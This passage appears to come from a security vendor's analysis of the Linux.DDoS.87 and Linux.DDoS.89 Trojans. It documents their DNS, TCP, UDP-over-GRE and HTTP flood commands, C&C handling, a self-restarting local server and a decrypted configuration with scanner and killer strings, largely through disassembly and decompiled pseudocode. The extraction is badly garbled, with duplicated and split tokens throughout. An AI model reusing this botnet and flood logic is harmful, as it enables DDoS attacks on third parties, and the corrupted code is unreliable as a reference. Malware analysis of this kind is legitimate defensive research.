cmd1 – Source Engine Amplification It operates like the previous command; however, the packet’s content is retrieved from the configuration: TOS = getNumberOrDefault(params_count, params, 2, 0); ident = getNumberOrDefault(params_count, params, 3, 0xFFFF); TTL = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 4, 64); frag = getNumberOrDefault(params_count, params, 5, 0); sport = getNumberOrDefault(params_count, params, 6, 0xFFFF); dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by default tsource = (char *)get_data_f *)get_data_from_config(8) rom_config(8); ;
// get "TSource Engine Query"
33
34
cmd2 – DNS flood This command uses parameters similar to the previous ones; however, in this case, the value transaction_id and the domain name that needs to be requested are added for the DNS packet: TOS = getNumberOrDefault(params_count, params, 2, 0); ident = getNumberOrDefault(params_count, params, 3, 0xFFFF); TTL = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 4, 64); frag = getNumberOrDefault(params_count, params, 5, 0); sport = getNumberOrDefault(params_count, params, 6, 0xFFFF); dport = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 7, 53); transaction_id_1 transaction _id_1 = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 9, 0xFFFF); random_data_length random_data _length = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 0, 12); query = getString(p getString(params_count, arams_count, params, 8, 0);
A packet containing 100 domain requests is generated and sent to the specified address. The Recursion desired flag is set: .text:0804A4 D3 .text:0804A4D3 quest reqursively
mov
[ecx+dnsheader.flags], [ecx+dnshead er.flags], 1 ; Do re-
.text:0804A4 D9 .text:0804A4D9 One Request
mov
[ecx+dnsheader.qdcount], [ecx+dnshead er.qdcount], 100h ;
.text:0804A4 DF .text:0804A4DF of random generated
mov
[edx+ipudp_2.queries], [edx+ipudp_2 .queries], al
.text:0804A4E2 .text:0804A4 E2
mov
ecx, [esp+6Ch+ra [esp+6Ch+random_data_len ndom_data_length] gth]
.text:0804A4E6 .text:0804A 4E6
push
eax
.text:0804A4E7 .text:0804A4 E7
mov
eax, [esp+70h+le [esp+70h+length_of_domai ngth_of_domain] n]
.text:0804A4EB .text:0804A4 EB
push
eax
.text:0804A4 EC .text:0804A4EC +1)]
lea
ebx, [edx+ecx+(i [edx+ecx+(ipudp_2.querie pudp_2.queries s
.text:0804A4F0 .text:0804A4 F0
mov
eax, [esp+74h+do [esp+74h+domain_query] main_query]
.text:0804A4F4 .text:0804A4 F4
push
eax
.text:0804A4F5 .text:0804A4 F5
lea
eax, [ebx+1]
.text:0804A4F8 .text:0804A4 F8
push
eax
.text:0804A4F9 .text:0804A 4F9
call
strncpy
.text:0804A4FE .text:0804A4 FE
add
esp, 10h
.text:0804A501 .text:0804A5 01
mov
esi, [esp+6Ch+le [esp+6Ch+length_of_str] ngth_of_str]
.text:0804A505 .text:0804A 505
test
esi, esi
.text:0804A507 .text:0804A5 07
jle
loc_804A71E
.text:0804A50D .text:0804A5 0D
mov
edx, ebx
; size
; a3
; a2
; a1
34
35
.text:0804A50F .text:0804A5 0F
xor
ecx, ecx
.text:0804A511 .text:0804A5 11
mov
eax, 1
.text:0804A516 .text:0804A5 16
jmp
short check_char_in check_char_in_query _query
.text:0804A518 ; .text:0804A518 -------------------------------------------------------------------------.text:0804A5 18 not_dot: .text:0804A518 d2_dns_flood+29Dj .text:0804A518 .text:0804A5 18
; CODE XREF: cminc
ecx
; parsing query
.text:0804A519 .text:0804A5 19 not_very_ef .text:0804A519 not_very_efficient_loop: ficient_loop: d2_dns_flood+2A6j
; CODE XREF: cm-
.text:0804A519 .text:0804A5 19
inc
eax
.text:0804A51A .text:0804A5 1A
cmp
eax, [esp+6Ch+ra [esp+6Ch+random_data_len ndom_data_length] gth]
.text:0804A51E .text:0804A 51E
jz
loc_804A6E9
.text:0804A524 .text:0804A5 24 check_char_ .text:0804A524 check_char_in_query: in_query: d2_dns_flood+286j
; CODE XREF: cm-
.text:0804A524 .text:0804A5 24
mov
esi, [esp+6Ch+do [esp+6Ch+domain_query] main_query]
.text:0804A528 .text:0804A 528
cmp
byte ptr [eax+esi-1] [eax+esi-1], , '.'
.text:0804A52D .text:0804A5 2D
jnz
short not_dot
.text:0804A52F .text:0804A 52F
mov
[edx], cl
.text:0804A531 .text:0804A5 31
lea
edx, [ebx+eax]
.text:0804A534 .text:0804A5 34
xor
ecx, ecx
.text:0804A536 .text:0804A5 36
jmp
short not_very_effi not_very_efficient_loop cient_loop
; parsing query
A name of a requested host is generated by setting a length of a generated prefix in the field 0, to which a string, transmitted in the parameter with id = 8, is added.
cmd3 – TCP flood 2 options The command is responsible for sending TCP packets to specified targets. targets. It also allows values v alues to be specified for TCP flags using these parameters: TOS = getNumberOrDefault(params_count, params, 2, 0); ident = getNumberOrDefault(params_count, params, 3, 0xFFFF); TTL = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 4, 64); frag = getNumberOrDefault(params_count, params, 5, 1); sport = getNumberOrDefault(params_count, params, 6, 0xFFFF); dport = getNumberOrDefault(params_count, params, 7, 0xFFFF); seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
35
36
v32 = getNumberOrDefault(params_count, params, 18, 0); urgent_flag = getNumberOrDefault(params_count, params, 11, 0); ack_flag = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 12, 0); psh_flag = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 13, 0); rst_flag = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 14, 0); syn_flag = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 15, 1); fin_flag = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 16, 0);
Setting flags in the packet: .text:0804A016 .text:0804A0 16
mov
[esi+tcp_packet.seq], [esi+tcp_pac ket.seq], eax
.text:0804A019 .text:0804A019 +tcp_packet.flags]
mov
al, byte ptr [esi
.text:0804A01C .text:0804A0 1C
and
eax, 0Fh
.text:0804A0 1F .text:0804A01F as 10 dwords (40 bytes)
or
eax, 0FFFFFFA0h ; set packet size
.text:0804A022 .text:0804A022 al
mov
byte ptr [esi+tcp_pa [esi+tcp_packet.flags], cket.flags],
.text:0804A025 .text:0804A025 +(tcp_packet.flags+1)]
mov
al, byte ptr [esi
.text:0804A028 .text:0804A0 28
and
eax, 0FFFFFFCFh ; 0x11001111
.text:0804A02B .text:0804A0 2B
mov
dl, [esp+6Ch+ack [esp+6Ch+ack_flg] _flg]
.text:0804A02F .text:0804A0 2F
or
al, [esp+6Ch+urg [esp+6Ch+urgent_flg_shift ent_flg_shifted] ed]
.text:0804A033 .text:0804A0 33
mov
cl, [esp+6Ch+pus [esp+6Ch+push_flag] h_flag]
.text:0804A037 .text:0804A0 37
shl
edx, 4
.text:0804A03A .text:0804A0 3A
shl
ecx, 3
.text:0804A03D .text:0804A 03D
or
eax, edx
.text:0804A03F .text:0804A0 3F
and
eax, 0FFFFFFF3h ; 0x11110011
.text:0804A042 .text:0804A0 42
mov
dl, [esp+6Ch+rst [esp+6Ch+rst_flg] _flg]
.text:0804A046 .text:0804A0 46
shl
edx, 2
.text:0804A049 .text:0804A 049
or
eax, ecx
.text:0804A04B .text:0804A 04B
or
eax, edx
.text:0804A04D .text:0804A0 4D
mov
dl, [esp+6Ch+syn [esp+6Ch+syn_flag] _flag]
.text:0804A051 .text:0804A0 51
add
edx, edx
.text:0804A053 .text:0804A 053
and
eax, 0FFFFFFFCh
.text:0804A056 .text:0804A 056
or
eax, edx
.text:0804A058 .text:0804A 058
or
eax, edi
.text:0804A0 5A .text:0804A05A +1)], al
mov
byte ptr [esi+(tcp_pa [esi+(tcp_packet.flags cket.flags
36
37
In addition, TCP parameters with numbers 2 and 8 are installed into the packet— maximum segment size and timestamp: .text:0804A05D .text:0804A 05D
mov
byte ptr [ebx+28h], TCPOPT_MAXSE TCPOPT_MAXSEG G
.text:0804A061 .text:0804A 061
mov
byte ptr [ebx+29h], 4
.text:0804A065 .text:0804A 065
call
rand_cmwc
.text:0804A06A .text:0804A 06A
mov
byte ptr [ebx+2Ch], 4
.text:0804A06E .text:0804A0 6E
and
eax, 0Fh
.text:0804A071 .text:0804A 071
mov
byte ptr [ebx+2Dh], 2
.text:0804A075 .text:0804A 075
add
eax, 578h
.text:0804A0 7A .text:0804A07A TCPOPT_TIMESTAMP
mov
byte ptr [ebx+2Eh],
.text:0804A07E .text:0804A0 7E
ror
ax, 8
.text:0804A082 .text:0804A 082
mov
byte ptr [ebx+2Fh], 0Ah
.text:0804A086 .text:0804A 086
mov
[ebx+2Ah], ax
.text:0804A08A .text:0804A 08A
call
rand_cmwc
.text:0804A08F .text:0804A0 8F
mov
dword ptr [ebx+34h], 0
.text:0804A096 .text:0804A0 96
mov
[ebx+30h], eax
.text:0804A099 .text:0804A 099
mov
byte ptr [ebx+38h], 1
.text:0804A09D .text:0804A 09D
mov
byte ptr [ebx+39h], 3
.text:0804A0A1 .text:0804A 0A1
mov
byte ptr [ebx+3Ah], 3
.text:0804A0A5 .text:0804A 0A5
mov
byte ptr [ebx+3Bh], 6
Once generated, the packet is sent without any information.
cmd4 – TCP flood random This command operates like the previous one; however, the TCP parameters are not set in the packet. If the corresponding flag is set, random data is written to the packet.
cmd6 – TCP flood 1 option The command is similar to cmd3; however, only one parameter is set: .text:08049656 .text:08049656 TCPOPT_NOP
mov
byte ptr [esi+iptcp_ [esi+iptcp_6.data], 6.data],
.text:0804965A .text:0804965A TCPOPT_NOP
mov
byte ptr [esi+(iptcp [esi+(iptcp_6.data+1)], _6.data+1)],
.text:080496 5E .text:0804965E TCPOPT_TIMESTAMP
mov
byte ptr [esi+2Ah],
.text:08049662 .text:08049 662
mov
byte ptr [esi+2Bh], 0Ah
37
38
.text:08049666 .text:080496 66
lea
ebx, [esi+2Ch]
.text:08049669 .text:08049 669
call
rand_cmwc
.text:0804966E .text:080496 6E
mov
[esi+2Ch], eax
.text:08049671 .text:08049 671
call
rand_cmwc
.text:08049676 .text:080496 76
mov
[ebx+4], eax
cmd7 – TCP flood simple In contrast to the previous methods, when this command is executed, only the port and the size of the transmitted data are defined. To carry out an attack, sockets are used to establish a TCP connection: port = getNumberOrDefault(params_count, params, 7, 80); size = getNumberOrDefault(params_count, params, 0, 1024); useRandom = getNumberOrDefault(params_count, params, 1, 1);
cmd8 UDP flood over GRE The command sends UDP packets over the GR E protocol and uses the following parameters: TOS = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, param, 2, 0); ident = getNumberOrDefault(params_count, param, 3, 0xFFFF); TTL = getNumberOrDefault(params_count, param, 4, 64); frag = getNumberOrDefault(params_count, param, 5, 1); sport = getNumberOrDefault(params_count, param, 6, 0xFFFF); dport = getNumberOrDefault(params_count, param, 7, 0xFFFF); payloadLength = getNumberOrDefault(params_count, param, 0, 512); fillRandom = getNumberOrDefault(params_count, getNumberOrDefault(params_count, param, 1, 1); useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner ip.dstAddr == outer ip.dstAddr
The GRE packet is generated as follows: .text:08048F 57 loc_8048F57 .text:08048F57 loc_8048F57: : d8_GRE_udp_random+1EFj
; CODE XREF: cm-
.text:08048F 57 .text:08048F57 IPPROTO_GRE
mov
[ebx+ipgre8._ip.protocol] [ebx+ipgre8. _ip.protocol], ,
.text:08048F 5B .text:08048F5B IP protocol
mov
[edx+gre_packet.protocolT [edx+gre_pac ket.protocolType], ype], 8 ;
.text:08048F61 .text:08048F 61
mov
eax, ds:selfaddr
.text:08048F66 .text:08048F 66
mov
ecx, [esp+5Ch+ar [esp+5Ch+arg_4] g_4]
.text:08048F6A .text:08048F 6A
mov
[ebx+ipgre8._ip.src_addr] [ebx+ipgre8. _ip.src_addr], , eax
38
39
.text:08048F6D .text:08048F 6D
mov
eax, [esp+5Ch+co [esp+5Ch+counter] unter]
.text:08048F71 .text:08048F 71
lea
eax, [eax+eax*2]
.text:08048F74 .text:08048F 74
mov
eax, [ecx+eax*8]
.text:08048F 77 .text:08048F77 ner.header._ip.Version] ner.header. _ip.Version], , 45h
mov
[ebx+ipgre8.ip_in[ebx+ipgre8. ip_in-
.text:08048F7B .text:08048F 7B
mov
[ebx+ipgre8._ip.dst_addr] [ebx+ipgre8. _ip.dst_addr], , eax
.text:08048F7E .text:08048F 7E
mov
al, [esp+5Ch+TOS [esp+5Ch+TOS] ]
.text:08048F82 .text:08048F 82
mov
[esi+ipudp._ip.TOS], [esi+ipudp._ ip.TOS], al
.text:08048F85 .text:08048F 85
mov
dl, [esp+5Ch+TTL [esp+5Ch+TTL] ]
.text:08048F89 .text:08048F89 _length]
mov
eax, dword ptr [esp+5Ch+in [esp+5Ch+innerner-
.text:08048F8D .text:08048F 8D
ror
ax, 8
.text:08048F91 .text:08048F 91
mov
[esi+ipudp._ip.totalLengt [esi+ipudp._ ip.totalLength], h], ax
.text:08048F95 .text:08048F 95
mov
ax, [esp+5Ch+ide [esp+5Ch+ident_inner] nt_inner]
.text:08048F9A .text:08048F 9A
mov
[esi+ipudp._ip.TTL], [esi+ipudp._ ip.TTL], dl
.text:08048F9D .text:08048F 9D
ror
ax, 8
.text:08048FA1 .text:08048F A1
cmp
[esp+5Ch+frag], [esp+5Ch+fra g], 0
.text:08048FA6 .text:08048F A6
mov
[esi+ipudp._ip.ident], [esi+ipudp._ ip.ident], ax
.text:08048FAA .text:08048F AA
jz
short loc_8048FB2
.text:08048FAC .text:08048F AC
mov
[esi+ipudp._ip.frag_offs] [esi+ipudp._ ip.frag_offs], , 40h
.text:08048FB2 .text:08048F B2 loc_8048FB2 .text:08048FB2 loc_8048FB2: : d8_GRE_udp_random+24Aj
; CODE XREF: cm-
.text:08048F B2 .text:08048FB2 IPPROTO_UDP
mov
[esi+ipudp._ip.protocol], [esi+ipudp._ ip.protocol],
.text:08048FB6 .text:08048 FB6
call
rand_cmwc
.text:08048FBB .text:08048F BB
cmp
[esp+5Ch+var_27], [esp+5Ch+var _27], 0
.text:08048FC0 .text:08048F C0
mov
[esi+ipudp._ip.src_addr], [esi+ipudp._ ip.src_addr], eax
.text:08048FC3 .text:08048F C3
jnz
use_same
.text:08048FC9 .text:08048 FC9
sub
eax, 400h
.text:08048FCE .text:08048 FCE
xor
eax, 0FFFFFFFFh
.text:08048FD1 .text:08048F D1
mov
[esi+ipgre8._ip.dst_addr] [esi+ipgre8. _ip.dst_addr], , eax
.text:08048FD4 .text:08048F D4
jmp
loc_8048EC3
39
40
cmd10 GRE Packet using Transparent Ethernet Bridging Like the previous command, this command sends encapsulated GRE packets; however, TEB (Transparent Ethernet Bridging) is used: the packet contains a full-featured Ethernet frame. The sender’s and the receiver's MAC addresses are randomly generated in the internal frame: .text:08048A 3A .text:08048A3A tocol], IPPROTO_GRE
mov
[ebx+ipgre_9.outer_iphdr. [ebx+ipgre_9 .outer_iphdr._ip.pro_ip.pro-
.text:08048A 3E .text:08048A3E 5865h ; GRE_NET_TEB
mov
[ecx+gre_packet.protocolT [ecx+gre_pac ket.protocolType], ype],
.text:08048A44 .text:08048A 44
mov
eax, ds:selfaddr
.text:08048A49 .text:08048A 49
mov
edx, [esp+6Ch+ar [esp+6Ch+arg_4] g_4]
.text:08048A 4D .text:08048A4D c_addr], eax
mov
[ebx+ipgre_9.outer_iphdr. [ebx+ipgre_9 .outer_iphdr._ip.sr_ip.sr-
.text:08048A50 .text:08048A 50
mov
ecx, [esp+6Ch+sa [esp+6Ch+saved_frame] ved_frame]
.text:08048A54 .text:08048A 54
mov
eax, [esp+6Ch+co [esp+6Ch+counter] unter]
.text:08048A58 .text:08048A 58
mov
[ecx+ether_packe t.type], 8 ; IP [ecx+ether_packet.type],
cmd14 HTTP Flood During one iteration, the command sends 10 HTTP requests that look as follows: GET HTTP/1.1 Host: Connection: keep-alive User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/ webp,*/*;q=0.8 Accept-Encoding: Accept-Enco ding: gzip, deflate, sdch Accept-Language: Accept-Lang uage: en-US,en;q=0 en-US,en;q=0.8 .8
40
41
Linux.DDoS.89 SHA1: 846b2d1b091704bb5a90a1752c 846b2d1b091704bb5a90a1752cafe5545588caa6 afe5545588caa6 A modified version of Linux.DDoS.87 Linux.DDoS.87 that that fills structures with command handlers in a similar way: v0->number_ = 0; v0->func = cmd0; v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4); v3 = malware_co malware_conf.size nf.size + 1; malware_conf.entries malware_con f.entries = v2; v2[malware_conf.size] = v1; malware_conf.size = v3; v4 = (cmd *)calloc(1u, 8u); v5 = v4; v4->number_ = 1; v4->func = cmd1;
The appearance of some structures has been changed: some fields have been swapped around. The way the configuration is filled and stored has also been changed: in this version, the memory is not reallocated; instead, a statically allocated memory area is used to save the Trojan. Before using a specific configuration value that is stored in the memory, the decode function is called. This function decrypts the value by implementing an XOR operation and is then called again to encrypt the value in the memory. Like in the previous version, field values are obtained from a number, but now it coincides with the location in the array. The command format has not been changed. The method of running a command handler is still the same (taking into account that the way of storing handlers has been changed). Running the command handler in Linux.DDoS.87: char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed target_parsed *targets, unsigned __int8 params_count, param2 *params) { signed int v6; // eax@1 int v7; // esi@2 unsigned __int8 v8; // dl@3 int v9; // ebx@12 int status; // [esp+28h] [ebp-14h]@8 LOBYTE(v6) = number; if ( handlers.leng handlers.length th ) { v7 = 0;
41
42
if ( number == handlers.ha handlers.handlers->numbe ndlers->number r ) { handler_found: v6 = __libc_fork( __libc_fork(); ); if ( v6 <= 0 ) { if ( !v6 ) { v6 = __libc_fork( __libc_fork(); ); if ( v6 > 0 )
__GI_exit(0); if ( !v6 ) { v6 = __libc_fork( __libc_fork(); ); v9 = v6; if ( !v6 ) {
__GI_setsid();
init_random();
handlers.han dlers[v7].func(target_cou handlers.handlers[v7].fun c(target_count, nt, targets, params_count, params);
__GI_exit(0); } if ( v6 > 0 ) {
__GI_setsid();
sleep(time); __GI_kill(v9, __GI_kill(v9 , 9);
__GI_exit(0); } } } }
else { LOBYTE(v6) = __libc_wait __libc_waitpid(v6, pid(v6, &status, 0); }
42
43
}
else { v8 = 0; while ( ++v8 != handlers.leng handlers.length th ) { v7 = v8; LOBYTE(v6) = number; if ( handlers.han handlers.handlers[v7].n dlers[v7].number umber == number ) goto handler_foun handler_found; d; } } } return v6;
}
Running the command handler in Linux.DDoS.89: void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_parsed *a4, unsigned __int8 a5, param2 *a6) { int v6; // eax@1 int v7; // eax@4 int v8; // eax@7 cmd *v9; // edx@7 int v10; // eax@12 v6 = __libc_fork() __libc_fork(); ; if ( v6 != -1 && v6 <= 0 ) { v7 = __libc_fork( __libc_fork(); ); if ( v7 == -1 )
__GI_exit(0); if ( !v7 ) {
__GI_sleep(a1); v10 = getppid(); __GI_kill(v10, __GI_kill(v 10, 9);
__GI_exit(0);
43
44
} if ( (signed int)malware int)malware_conf.size _conf.size > 0 ) { v8 = 0; v9 = *malware_con *malware_conf.entries; f.entries; if ( a2 == (*malware_co (*malware_conf.entries) nf.entries)->number_ ->number_ ) { LABEL_10: v9->func(a3, v9->func(a3 , a4, a5, a6); }
else { while ( ++v8 != malware_conf. malware_conf.size size ) { v9 = malware_conf malware_conf.entries[v8 .entries[v8]; ]; if ( v9->number_ == a2 ) goto LABEL_10; } } } }
}
The main differences from Linux.DDoS.87 The pseudo-random sequence generator has been changed, as has the order in which the Trojan performs its actions once it has been launched. First, it starts operating with signals, ignoring SIGINT: __GI_sigemptyset(&v43); __GI_sigaddset(&v43, __GI_sigadd set(&v43, SIGINT); __GI_sigprocmask(SIG_BLOCK, &v43, 0)
Then other signal handlers are i nstalled: __bsd_signal(SIGCHLD, SIGEV_NONE); __bsd_signal(SIGTRAP, __bsd_signal (SIGTRAP, change_host);
//change_host: void __cdecl change_host()
44
45
{ decode(4u); decode(5u); cnc.sin_addr.s_addr cnc.sin_addr .s_addr = *(_DWORD *)get_config *)get_config_entry(4, _entry(4, 0); cnc.sin_port cnc.sin_por t = *(_WORD *)get_confi *)get_config_entry(5, g_entry(5, 0); encode(4u); encode(5u); }
The process then receives the IP address of the network interface used to connect to the Internet via the Google DNS server (Linux.DDoS.87 got this address by connecting to its C&C server): int getMyIp() { int v0; // esi@1 int result; // eax@1 __int16 v2; // [esp+20h] [ebp-1Ch]@2 __int16 v3; // [esp+22h] [ebp-1Ah]@2 int v4; // [esp+24h] [ebp-18h]@2 int v5; // [esp+30h] [ebp-Ch]@1 v5 = 16; v0 = __GI_socket(2 __GI_socket(2, , 2, 0); result = 0; if ( v0 != -1 ) { v2 = 2; v4 = 0x8080808; v3 = 0x3500; __libc_connect(v0, __libc_conne ct(v0, &v2, 16); __GI_getsockname(v0, __GI_getsock name(v0, &v2, &v5);
__libc_close(v0); result = v4; } return result;}
The local server is then launched: int start_serve start_server() r() {
45
46
int result; // eax@1 struct flock *v1; // eax@2 char v2; // ST1C_1@2 unsigned __int32 v3; // eax@2 _DWORD *v4; // ebx@4 char v5; // [esp+Ch] [ebp-30h]@0 sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4 int v7; // [esp+30h] [ebp-Ch]@1 v7 = 1; result = __GI_socket( __GI_socket(2, 2, 1, 0); server_socket server_socke t = result; if ( result != -1 ) { __GI_setsockopt(result, __GI_setsock opt(result, 1, 2, &v7, 4); v1 = (struct flock *)__GI___lib *)__GI___libc_fcntl(serv c_fcntl(server_socket, er_socket, 3, 0, v5); BYTE1(v1) |= 8u; __GI___libc_fcntl(serve __GI___libc _fcntl(server_socket, r_socket, 4, v1, v2); v3 = 0x100007F; if ( !can_bind ) v3 = selfaddr; v6.sin_family v6.sin_famil y = 2; v6.sin_addr.s_addr v6.sin_addr .s_addr = v3; v6.sin_port = 0xE5BBu; //48101 v4 = getLastErro getLastError(); r(); *v4 = 0; if ( __GI_bind(s __GI_bind(server_socket, erver_socket, &v6, 16) == -1 ) { if ( *v4 == EADDRNOTAVA EADDRNOTAVAIL IL ) can_bind = 0; v6.sin_family v6.sin_famil y = 2; v6.sin_addr.s_addr v6.sin_addr .s_addr = 0; v6.sin_port = 0xE5BBu; //48101 __libc_connect(server_so __libc_conne ct(server_socket, cket, &v6, 16); //connects to socket
__GI_sleep(5);
__libc_close(server_socket); result = start_server start_server(); (); }
46
47
else { result = __GI_listen( __GI_listen(server_sock server_socket, et, 1); } } return result;
}
If the Trojan fails to use the bind system call, it connects to the corresponding port because it is assumed that the port is already busy running a previously launched Linux.DDoS.89 process. In this case, the previously launched process terminates itself. Once the server is launched, the C&C server address information stored in the executable file is added to the sockaddr_in structure: .text:0804BBEF .text:0804BB EF
mov
ds:cnc.sin_family, ds:cnc.sin_f amily, 2
.text:0804BBF8 .text:0804BB F8
add
esp, 10h
.text:0804BBFB .text:0804BB FB
mov
ds:cnc.sin_addr.s_addr, ds:cnc.sin_a ddr.s_addr, XXXXXXXXh
.text:0804BC05 .text:0804BC 05
mov
ds:cnc.sin_port, ds:cnc.sin_p ort, 5000h
Then the following function obtained from the process is calculated: def check(name) check(name): : print name a = [ord(x) for x in name] sum = (0 - 0x51) & 0xff for i in [2,4,6,8,10, [2,4,6,8,10,12]: 12]: z =
(~a[i % len(a)] & 0xff)
sum = (sum + z)&0xff return sum % 9
The result returned by the function is an index in a function array. The function with the corresponding index will be performed. The list of functions looks as follows: .rodata:080510A0 off_80510A0 .rodata:080510A0 main+4Do
dd offset start_serve start_server r
; DATA XREF:
.rodata:080510A4 .rodata:0805 10A4
dd offset decode
.rodata:080510A8 .rodata:0805 10A8
dd offset get_config_e get_config_entry ntry
.rodata:080510AC .rodata:080 510AC
dd offset fill_config
.rodata:080510B0 .rodata:0805 10B0
dd offset encode
.rodata:080510B4 .rodata:080 510B4
dd offset memncpy
.rodata:080510B8 .rodata:0805 10B8
dd offset strcmp
47
48
.rodata:080510BC .rodata:080 510BC
dd offset runkiller
.rodata:080510C0 .rodata:080 510C0
dd offset change_host
Then the name of the current process is checked. If it is “ ./dvrHelper”, the SIGTRAP signal is created. This signal is responsible for changing the C&C server. Each configuration is filled in the following way: v2 = (char *)malloc(0xFu); memcpy(v2, (char *)&unk_8051259, 15); conf_entries[3].data conf_entrie s[3].data = v2; conf_entries[3].length conf_entrie s[3].length = 15; v3 = (char *)malloc(4u); memcpy(v3, "'ь+B", 4); conf_entries[4].data conf_entrie s[4].data = v3; conf_entries[4].length conf_entrie s[4].length = 4; v4 = (char *)malloc(2u); memcpy(v4, "\"5", 2); conf_entries[5].data conf_entrie s[5].data = v4; conf_entries[5].length conf_entrie s[5].length = 2; v5 = (char *)malloc(7u);
The configuration for this sample looks as follows: Number
Decrypted value
Purpose
1
"DROPOUTJEEP"
2
"wir "w iret etap ap -r -rep epor ort= t='t 'tcp cp:/ ://6 /65. 5.22 222. 2.20 202. 2.53 53:8 :80' 0'""
this st this stri ring ng is ap appe pend nded ed as a Tr Troj ojan an’s ’s na name me an and d is di dissplayed in a process list
3
"listening tun0"
output to stdin when launched
4
C&C server’s address
5
C&C server’s port
6
"/proc/"
runkiller
7
"/exe"
runkiller
8
"REPORT %s:%s"
runkiller
9
"HTTPFLOOD"
runkiller
48
49
Number
Decrypted value
Purpose
10
"LOLNOGTFO"
runkiller
11
"\x58\x4D\x4E\x4E\x43\x50\x46\x22"
runkiller
12
"zollard"
runkiller
13
"GETLOCALIP"
unused
14
the scanner of the hosts’ IP address to which information on infected computers is sent
15
the scanner of the hosts’ port to which information on infected computers is sent
16
"shell"
scanner
17
"enable"
scanner
18
"sh"
scanner
19
"/bin/busybox MIRAI"
scanner
20
"MIRAI: applet not found"
scanner
21
"ncorrect"
scanner
22
"TSource Engine Query"
cmd1
23
"/etc/resolv.conf"
cmd2
24
"nameserver"
cmd2
Once the configuration is filled, the process’s name is changed to conf[2]. Using the prctl function, its name is changed to conf[1]. Then conf[3] is output to the standard stdin thread: .text:0804BE05 .text:0804BE 05
lea
eax, [esp+1224h+ [esp+1224h+len] len]
.text:0804BE0C .text:0804B E0C
push
eax
.text:0804BE0D .text:0804B E0D
push
3
.text:0804BE0F .text:0804BE 0F
call
get_config_entry get_config_e ntry
.text:0804BE14 .text:0804BE 14
add
esp, 0Ch
.text:0804BE17 .text:0804BE 17
mov
edi, [esp+1220h+ [esp+1220h+len] len]
.text:0804BE1E .text:0804BE 1E
push
edi
; len
.text:0804BE1F .text:0804BE 1F
push
eax
; addr
.text:0804BE20 .text:0804BE 20
push
1
; fd
49
50
.text:0804BE22 .text:0804B E22
call
___libc_write ___libc_wri te
.text:0804BE27 .text:0804BE 27
add
esp, 0Ch
.text:0804BE2A .text:0804BE 2A
push
1
.text:0804BE2C .text:0804BE 2C
push
offset newline_2 ; addr
.text:0804BE31 .text:0804BE 31
push
1
.text:0804BE33 .text:0804B E33
call
___libc_write ___libc_wri te
; len
; fd
Child processes are subsequently created and the following functions are called: .text:0804BEBF .text:0804B EBF
call
init_consts__ init_consts __
.text:0804BEC4 .text:0804B EC4
call
fill_handlers fill_handle rs
.text:0804BEC9 .text:0804B EC9
call
run_scanner
.text:0804BECE .text:0804BE CE
pop
esi
.text:0804BECF .text:0804BE CF
mov
edx, [esp+1228h+ [esp+1228h+var_1210] var_1210]
.text:0804BED3 .text:0804BE D3
mov
ebx, [edx]
.text:0804BED5 .text:0804B ED5
push
ebx
.text:0804BED6 .text:0804B ED6
call
runkiller
The runkiller function does not check whether files are present i n the process’s directory because it uses PID. The process will not be terminated if its PID is the same as the current or parental one. The same changes were implemented to the network operation mechanism. Instead of blocking sockets, the Trojan uses the select system call which also handles server sockets. When connecting to a server socket, all child processes and the current process are terminated, and a new scanner process is run: .text:0804C1 E5 socket_serv .text:0804C1E5 socket_server_ready: er_ready: +53Ej
; CODE XREF: main
.text:0804C1E5 .text:0804C1 E5
mov
[esp+121Ch+optval], [esp+121Ch+o ptval], 10h
.text:0804C1F0 .text:0804C1 F0
lea
eax, [esp+121Ch+ [esp+121Ch+var_48] var_48]
.text:0804C1F7 .text:0804C 1F7
push
edi
.text:0804C1F8 .text:0804C1 F8
lea
edx, [esp+1220h+ [esp+1220h+optval] optval]
.text:0804C1FF .text:0804C 1FF
push
edx
.text:0804C200 .text:0804C 200
push
eax
.text:0804C201 .text:0804C 201
push
ecx
.text:0804C202 .text:0804C2 02
call
___libc_accept ___libc_acce pt
.text:0804C207 .text:0804C2 07
call
kill_scanner
.text:0804C20C .text:0804C 20C
call
kill_killer
.text:0804C211 .text:0804C 211
call
spawn_new_scanner spawn_new_s canner
.text:0804C216 .text:0804C2 16
pop
ebx
.text:0804C217 .text:0804C2 17
pop
esi
50
51
.text:0804C218 .text:0804C2 18
push
9
; sig
.text:0804C21A .text:0804C2 1A
neg
[esp+1228h+var_120C] [esp+1228h+v ar_120C]
.text:0804C21E .text:0804C2 1E
mov
ecx, [esp+1228h+ [esp+1228h+var_120C] var_120C]
.text:0804C222 .text:0804C2 22
push
ecx
.text:0804C223 .text:0804C2 23
call
___GI_kill
.text:0804C228 .text:0804C2 28
mov
[esp+122Ch+fd], 0 ; status
.text:0804C22F .text:0804C2 2F
call
___GI_exit
; int
The MAC address of the network adapter is not sent to the C&C server, and network commands are received one by one. The run_scanner function, which was borrowed from the Linux.BackDoor.Fgt Trojan family and which is responsible for searching for vulnerable devices, has been slightly changed—the C&C server’s address, to which information on infected computers is sent, is extracted from the configuration. HTTP flood is now missing from the list of types of attacks performed, and commands have been reordered: Number
Type
0
UPD random
1
TSource
2
DNS flood
3
TCP flood 2 options
4
TCP flood random data
5
TCP flood
6
UDP over GRE
7
TEB over GRE
In the examined sample, virus makers tried to carry out a DNS amplification attack: the DNS server’s address is retrieved either from the resolv.conf file or from a list of public DNS servers hard-coded into the Trojan’s body.
51
52
